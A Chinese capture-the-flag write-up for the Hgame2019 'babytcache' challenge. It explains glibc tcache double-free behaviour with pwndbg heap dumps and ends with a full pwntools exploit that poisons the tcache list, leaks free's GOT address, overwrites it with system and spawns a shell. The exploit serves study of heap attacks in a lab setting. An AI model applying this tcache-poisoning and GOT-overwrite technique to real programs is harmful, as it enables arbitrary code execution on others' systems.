Hgame2019_babytcache

别问我心的遗憾 如同你心的羁绊
风也乱这刀也断 瞎了眼也不去看

简介

Tcache机制应该是从2.26之后版本的libc中才加进去的,而这个机制可能使我们的攻击变得更加简单,因为我们可能不需要去构造false_chunk,只需要覆盖tcache中的next,即将tcache中的next覆盖为我们自己的地址,从而达到任意地址写入;
简单地来讲,Tcache机制就是增加一个bin缓存,而且每个bin是单链表结构,单个tcache bin默认最多包含7个块;在释放chunk时,_int_free中在检查了size合法后,放入fastbin之前,它先尝试将其放入tcache;而在__libc_malloc,_int_malloc之前,如果tcache中存在满足申请需求大小的块,就从对应的tcache中返回chunk;
最关键的是,因为没有任何检查,所以我们可以对同一个chunk连续多次free,造成cycliced list(想一下double_free的操作,有点相像的感觉);
而这个babytcache这道题,就是主要利用这个思想;


Tcachebins

我们先看一下Tcachebins到底是什么样的,我们就以这道题来看,并且演示一下覆盖tcache中的next;
我们先申请1个chunks,即先添加一个note:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> heap
0x603000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603250 FASTBIN { #add_note
mchunk_prev_size = 0,
mchunk_size = 97,
fd = 0x6161616161,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6032b0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134481,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

然后连续释放2次,即delete我们添加的note两次;
此时的tcachebins是这个样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bins
tcachebins
0x60 [ 2]: 0x603260 ◂— 0x603260 /* '`2`' */
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

接下来的操作可以想一下double_free,我们先申请一个chunk,然后输入我们需要修改的地址空间(这里假设是0x603460,并且写入’/bin/sh’);
此时我们再看一下tcachebins:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bins
tcachebins
0x60 [ 1]: 0x603260 —▸ 0x603460 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

我们看到0x603460似乎被我们添加到了tcache中的next,只需要我们在malloc两次就可以拿到0x603460地址空间了;
我们再次连续添加2个note看看;

1
2
3
pwndbg> x/4gx 0x603460
0x603460: 0x0068732f6e69622f 0x0000000000000000
0x603470: 0x0000000000000000 0x0000000000000000

0x603460的位置确实被我们修改了;
但是我们现在来看看tcachebins:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bins
tcachebins
0x60 [ -1]: 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

tcachebins确实为空了,但是我们发现tc_idx变成了-1;这就导致我们接下来不可以在使用tcachebins了,否则程序可能报错:

1
2
3
>2
index:3
free(): invalid pointer

这个就是我们需要注意的地方,所以要避免这个问题,我们最开始就一个free()三次,而不是两次;


思路

这道题的思路其实就是想办法泄露出system函数的地址,然后想办法改got表,最后getshell;
这道题有一个关键点是,程序将我们申请的chunk的地址放在了0x6020e0这个地址开始的位置,当我们show note的时候就是从这个地方读取指针,然后打印出内容;
所以我们利用cycliced list的思想将0x6020e0位置的指针改为free的got表的指针,然后就可以泄露free函数的在libc的地址,计算出system函数的地址;然后用同样的方法将free的got表覆盖为system函数的地址;最后调用free()函数就可以getshell了;


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
p = process('./tcache')
elf = ELF('./tcache')
#context.log_level = 'debug'
#context.terminal = ['deepin-terminal', '-x', 'p' ,'-c']
if args.G:
gdb.attach(p)

def add(s):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('content:')
p.sendline(s)

def delete(i):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('index:')
p.sendline('%d'%i)

def show(i):
p.recvuntil('>')
p.sendline('3')
p.recvuntil('index:')
p.sendline('%d'%i)

add('a'*8)
delete(0)
delete(0)
delete(0)
n = 1 # 1<=n<=3
add(p64(0x6020e0 + 0x8*n)) #这里至少偏移0x8是tc_idx的原因
add('/bin/sh')
add(p64(elf.got['free']))
show(n)

free_addr = (u64(p.recv(8)))%0x1000000000000
lib_addr = free_addr - 0x82ba0
system_addr = lib_addr + 0x42510
print "free_addr: " + hex(free_addr)
print "system_addr: " + hex(system_addr)

p.sendline('2')
p.recvuntil('index:')
p.sendline('0')
delete(0)
delete(0)
add(p64(elf.got['free']))
add('/bin/sh')
add(p64(system_addr))

delete(0)
p.interactive()

总结

如果这道题有system(‘/sh’)函数的,直接利用double_free就可以了,因为不在需要Tcache;
因为单个tcache bin默认最多包含7个块,所以在unlink操作时,可能首先得先把tcache填满;
利用tcache使我们对某些堆的利用变得更加简单了,不过在使用的过程中要想清楚它的分配情况,结合具体的程序分析,可能会有一些取巧的地方

文章目录
  1. 1. 简介
  2. 2. Tcachebins
  3. 3. 思路
  4. 4. EXP
  5. 5. 总结
,